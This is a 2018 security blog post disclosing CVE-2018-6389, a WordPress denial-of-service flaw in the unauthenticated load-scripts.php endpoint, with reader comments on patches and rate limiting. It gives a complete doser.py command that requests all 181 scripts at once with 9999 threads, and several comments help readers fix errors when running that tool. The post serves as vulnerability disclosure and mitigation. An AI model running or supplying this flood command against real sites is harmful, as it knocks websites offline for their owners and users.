Monday, February 5, 2018

How to DoS 29% of the World Wide Websites - CVE-2018-6389

According to wordpress.com, the WordPress platform powers 29% of the worldwide internet websites.
In this article I am going to explain how Denial of Service can easily be caused to almost any WordPress website online, and how you can patch your WordPress website in order to avoid this vulnerability being exploited.
It is important to note that exploiting this vulnerability is illegal, unless you have permission from the website owner.


While browsing a WordPress website, my attention was drawn to the following URL:


The load-scripts.php file receives a parameter called load[], the parameter value is 'jquery-ui-core'. In the response, I received the JS module 'jQuery UI Core' that was requested, as demonstrated in the following image:






What can be concluded from this URL, is that it is probably meant to supply users with some JS modules. In addition, the load[] parameter is an array, which means that it is possible to provide multiple values and be able to get multiple JS modules within the response.


As WordPress is open-source, it is easy to perform code review and explore this feature. After doing so, I realized that this feature was designed to economize the amount of requests sent from the client while trying to load JS or CSS files, so when the browser needs to load multiple JS/CSS files, it will use load-scripts.php (for JS) or load-styles.php (for CSS files) and the browser will get multiple JS/CSS files through a single request- so performance-wise it is better to do so and the page will load faster. This feature was designed only for the admin pages, but is also used on the wp-login.php page, so no authentication is enforced on these files.

First, I tried to manipulate this feature and provide a list of the 'jquery-ui-core' value multiple times as follows:


I thought I might make the server read the same file over and over again and append it to the same response, but the use of the 'array_unique' function removes duplicates in arrays so that didn’t succeeded:





I kept exploring the code and found something that looked interesting in the following code snippet, which I wanted to investigate further:


There is a well-defined list ($wp_scripts), that can be requested by users as part of the load[] parameter. If the requested value exists, the server will perform an I/O read action for a well-defined path associated with the supplied value from the user.


The wp_scripts list is hard-coded and is defined in the script-loader.php file:





There are 181 values in this list:
eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter


I wondered what would happen if I sent the server a request to supply me every JS module that it stored? A single request would cause the server to perform 181 I/O actions and provide the file contents in the response.

So I tried it, I sent the request to the server:


The server responded after 2.2 seconds, with almost 4MB of data, which made the server work really hard to process such a request.
So I decided to use doser.py, a simple tool that I wrote, designed to constantly repeat requests (yes, I know Python threads suck, but I still love Python!) in order to cause DoS, and guess what? it worked! :)
python doser.py -g 'http://mywpserver.com/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 9999


As long as I kept sending those requests to the server, it was too busy to handle any other request, and I had effectively (and easily) caused DoS.


It is time to mention again that load-scripts.php does not require any authentication, an anonymous user can do so.
After ~500 requests, the server didn't respond at all any more, or returned 502/503/504 status code errors like:






Full PoC video:



WordPress has a bug bounty program, and I contacted them about this issue, even though I knew DoS vulnerabilities are out-of-scope, I reported it through HackerOne and explained the vulnerability, I thought they would understand that there is a security issue here and properly address it. After going back and forth about it a few times and my trying to explain and provide a PoC, they refused to acknowledge it and claimed that:
"This kind of thing should really be mitigated at the server or network level rather than the application level, which is outside of WordPress's control."


Even though I was extremely frustrated about them not acknowledging this as a vulnerability, I kept on exploring how I can mitigate this attack, and forked WordPress project and patched it so no one but authenticated users can access the load-*.php files, without actually harming the wp-login.php file functionality. So if you are currently using, or are about to use, WordPress, I would highly recommend you use the patched version.
In case you already have a WordPress website on a Linux machine, I created this bash script that modifies the relevant files in order to mitigate the vulnerability.

49 comments:

  1. Thanks for the research!
    Rolled the fix out to all our clients at https://www.webarxsecurity.com

    ReplyDelete
    Replies
    1. Are you sure the patch ran? did you ran it from WP root directory?
      because it is still accessible:
      https://www.webarxsecurity.com/wp-admin/load-scripts.php

      Glad to help you guys be safe :)

      Delete
  2. Would rate limiting requests to `wp-login.php` via the server mitigate against this attack? E.g., 15r/min

    ReplyDelete
    Replies
    1. It solve it from DoS attack, but DDoS still can be performed.

      Delete
    2. So doing the rate limiting at the 3rd party firewall service provider e.g., CloudFlare would completely mitigate this specific attack?

      Delete
    3. Can't any excessive request for a file from a server be called a DDoS if abused by an attacker?

      Delete
    4. For the 1st Q, it might mitigate, but not 100%.
      about the 2nd, excessive request from single machine cannot be called DDOS.

      Delete
  3. I patched with vulnerability by password protecting /wp-admin/ directory, Thank you guys.

    ReplyDelete
    Replies
    1. Just make sure that you are protecting /wp-admin/load-scripts.php as well, and not just /wp-admin/ directory.

      Delete
  4. while load-scripts.php it's inside /wp-admin/ I tried to access and it is protected

    ReplyDelete
  5. Hello, well done!

    I also create a small module to for vulnerability check.

    https://twitter.com/Ali_Razmjo0/status/960619392731156480
    https://github.com/viraintel/OWASP-Nettacker

    ReplyDelete
    Replies
    1. Thanks!
      Great work with the module, i will check this tool later

      Delete
  6. Hello Barak, thank you for sharing some knowledge with us mere mortals! Just wondering, where did you learn all these things? I'd like to work with information security someday, but don't know where to start studying.

    ReplyDelete
    Replies
    1. Hey, there is many ways to learn about security and it never ends, i am still learning everyday.
      My tips is to focus of specific subject of security because they are many subjects, in my case, i focused on application security, which i would say that you need really good understanding the protocols (TCP/IP, HTTP), and i think it is really helpful to know developing and writing code.

      Delete
  7. https://github.com/devcoinfet/doser.py

    good work man if you see any errors or have a few suggestions let me know, maybe we can merge some of My changes into Yours.

    ReplyDelete
    Replies
    1. Let me think about that, because this script was designed in order to perform DoS attack in general and not a specific attack.
      Anyway, thanks!

      Delete
  8. OMG, if you send 9999 requests in parallel, you can down many sites, not only WP (provided that you have enough bandwidth).

    But what exactly is this vulnerability? 186 I/O requests? OS will cache files in memory after a few requests. I think you can achieve better results hammering hXXp://your-site/?s=some-random-string - WP uses LIKE to search posts, and this will be much more resource consuming than load-scripts.php.

    ReplyDelete
    Replies
    1. It is more like ~500, cache-breaker(random-string param) will always help for DoS attacks.
      But you are not right about that it will be more resource consuming than load-scripts, because load-scripts make the server work harder, due to the fact it performing 181 I/O actions and the response include around 4MB of data.
      It looks like you didn't read all the article, you can check it out again.

      Delete
    2. I did and I tested it on my server.

      The server responded in ~180 ms (nginx + php-fpm) + 1.5 seconds to download the response (I was on a slow connection). So: 180 ms is how much time php-fpm worked, 1.5 seconds - nginx. Yes, this is an issue if you use mod_php and Apache in prefork but the same way you can DoS even index.php.

      > But you are not right about that it will be more resource consuming than load-scripts, because load-scripts make the server work harder, due to the fact it performing 181 I/O actions and the response include around 4MB of data.

      Just benchmark :-) 181 I/O actions could be critical for the very first response if you are on a low-end VPS, after that the OS will put the files to the cache and I/O impact will be lower.

      MySQL search will affect both CPU (search for random string across all posts - MySQL will be unable to use indexes, at most it will use Turbo-Boyer-Moore algorithm) and I/O (database reads).

      > cache-breaker(random-string param)

      With 9999 parallel requests (like in your example) you can DoS any misconfigured server, even simple PHP file with echo 'Hello world': if the server uses Apache + prefork, this will exhaust RAM on forks, if this is php-fpm, this will make all workers busy.

      Delete
  9. I got an error
    Traceback (most recent call last):
    File "doser.py", line 1, in
    import requests
    ImportError: No module named requests

    ReplyDelete
    Replies
    1. you should install requests module:
      pip install requests

      Delete
  10. Hi. Thanks for the info. If I have only Cpanel access, which files do I need to change?
    So far I added two lines to the wp-login.php
    and remove aloms all lines from noop.php
    Which made the /wp-admin/load-scripts.php page to give 500 error instead of Blank screen.
    any more changes?

    ReplyDelete
    Replies
    1. If you have to ask this kind of question, this is above your understanding. The fact that you just deleted the contents of a WP core file indicates you should leave this alone and just install a good security plugin on your website.

      Delete
    2. Please use the bash file i created to patch. it is not recommended to patch it by yourself, you can easily cause errors.
      you should add only one line to wp-login.php
      and not removing all noop functions, you should leave the get_file function there.

      Delete
    3. Hi! WordPress team often refuses a lot of issues like this. It seems there is a solution as a plugin though: https://wordpress.org/plugins/wp-cerber/

      Delete
  11. Hello
    while trying to run the Dos tool i am getting a syntax error "missing paranthesis in call to print Did you mean print(t ' etcc.. on line 15

    Any solution for this?

    ReplyDelete
    Replies
    1. That's probably because you're trying to run OP's code with Python 3 instead of Python 2. Try changing line 15 to:

      "print("\n" + msg + " after %i requests" % request_counter)"

      (without the quotes).

      Delete
  12. This is interesting and I'll patch against this but if this this isn't rolled into the WP core isn't going to be overwritten with every WP release?

    ReplyDelete
    Replies
    1. Yes, youll need to run the patch script each upgrade.
      There are other ways to mitigate this like restrict wp-admin with password or just map it to unknown path.

      Delete
    2. I think mapping wp-admin to an unknown path is not a good idea because an attacker using Dirb or another scanner could easily crawl the url, don't you think?

      Delete
  13. Hello? I'm Brazilian, and I'm sorry for using google translator. I'm a bit scared with wordpress insecurity notes lately, and I'm sysadm on my own shared server.

    I currently offer my clients only one wordfence plugin that already has a firewall.

    could you give me tips on how to protect my official blog from the provider company since I do not program very well in php languages?

    blog.hostcuritiba.net.br

    I accept suggestions, tips or procedures to perform on wordpress.

    Thank you!

    ReplyDelete
  14. Is there a fix for WordPress IIS installations?

    ReplyDelete
    Replies
    1. I use this plugin to protect my WP: https://wordpress.org/plugins/wp-cerber/

      Delete
    2. Not really, you can see what changes i made on Github and perform the same to you, but make it on staging environment because you might cause some problems.

      Delete
    3. I tried the changes in the windows environment and it doesn't work. The plugin WP-Cerber doesn't work either. I'll need to figure out another way to allow access to the wp-admin folder to logged in users.

      Delete
  15. This comment has been removed by a blog administrator.

    ReplyDelete
  16. There was a problem with Wordpress for automatic update, our blog reports that the team of developers are working for the adjustment, since it occurred with the current version after upgrade.

    I believe that soon they have a solution to give continuity in automatic updating core updates.

    ReplyDelete
  17. This comment has been removed by the author.

    ReplyDelete
  18. Hi,

    A temporary patch may be applied using modsecurity as mentioned here

    https://www.networks.guru/2018/02/11/patching-wordpress-dos-vulnerability-cve-2018-6389-using-modsecurity/

    This should be a viable solution until a fix is released

    ReplyDelete
  19. hey guys it try it in version 4.9.3 but dosent work i have this error 'load%5B%5D' unknow into commend not found why ?

    ReplyDelete
  20. This comment has been removed by the author.

    ReplyDelete
  21. Large parameters and repeated requests should be automatically throttled by a WAF. It's 2018, if you don't have a WAF then it's natural selection at this point.

    ReplyDelete
  22. hey barak, why are you removing empty functions from noop.php , there is no need to do so in all the newer versions i checked?

    ReplyDelete
    Replies
    1. To avoid redecleration errors, these functions i removed are already declared on admin.php file

      Delete